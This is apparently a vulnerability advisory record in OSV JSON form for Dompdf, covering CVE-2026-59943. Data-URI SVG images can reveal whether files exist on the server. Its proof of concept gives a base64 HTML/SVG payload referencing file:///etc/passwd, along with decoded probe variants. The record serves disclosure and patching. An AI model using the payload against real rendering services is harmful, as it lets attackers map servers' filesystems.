{"id":"GHSA-j8qw-6jw8-r297","aliases":["CVE-2026-59943"],"title":"Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem","description":"### Summary\nIf a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.\n\n### Details\nUsing an `<image>` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.\n\n```\n[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173\n[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196\n```\n\n### PoC\n\nFirst, the attacker renders this HTML document:\n```\n<html>\n<head>\n</head>\n<body>\n<img src=\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=\">\n Hello World!\n</body>\n</html>\n```\n\nThe `<img>` tag contains the following SVG content:\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<svg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\">\n    <image xlink:href=\"file:///etc/passwd\" x=\"0\" y=\"0\" width=\"100\" height=\"100\">\n    </svg>\n```\n\nAs expected, the resulting PDF contains a broken image:\n<img width=\"621\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2\" />\n\nHowever, when supplying a path to a file or directory that does not exist, for example:\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<svg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\n     xmlns=\"http://www.w3.org/2000/svg\">\n    <image xlink:href=\"file:///DOESNOTEXIST\" x=\"0\" y=\"0\" width=\"100\" height=\"100\">\n    </svg>\n```\n\nThe resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the \"Hello World!\" text 180 degrees from the expected position:\n\n<img width=\"616\" height=\"922\" alt=\"image\" src=\"https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9\" />\n\n### Impact\nBy exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.","severity":"medium","score":6.3,"published":"2026-07-22T22:52:44.000Z","modified":"2026-07-22T23:11:43.780Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"dompdf/dompdf","ranges":[{"events":[{"introduced":"0"},{"fixed":"3.1.6"}],"type":"ECOSYSTEM"}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"fixed":["3.1.6"]}],"references":["https://github.com/dompdf/dompdf/security/advisories/GHSA-j8qw-6jw8-r297","https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0","https://github.com/dompdf/dompdf","https://github.com/dompdf/dompdf/releases/tag/v3.1.6"],"sources":[{"name":"OSV","id":"GHSA-j8qw-6jw8-r297","modified":"2026-07-22T23:11:43.780143Z","url":"https://osv.dev/vulnerability/GHSA-j8qw-6jw8-r297"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.3}]}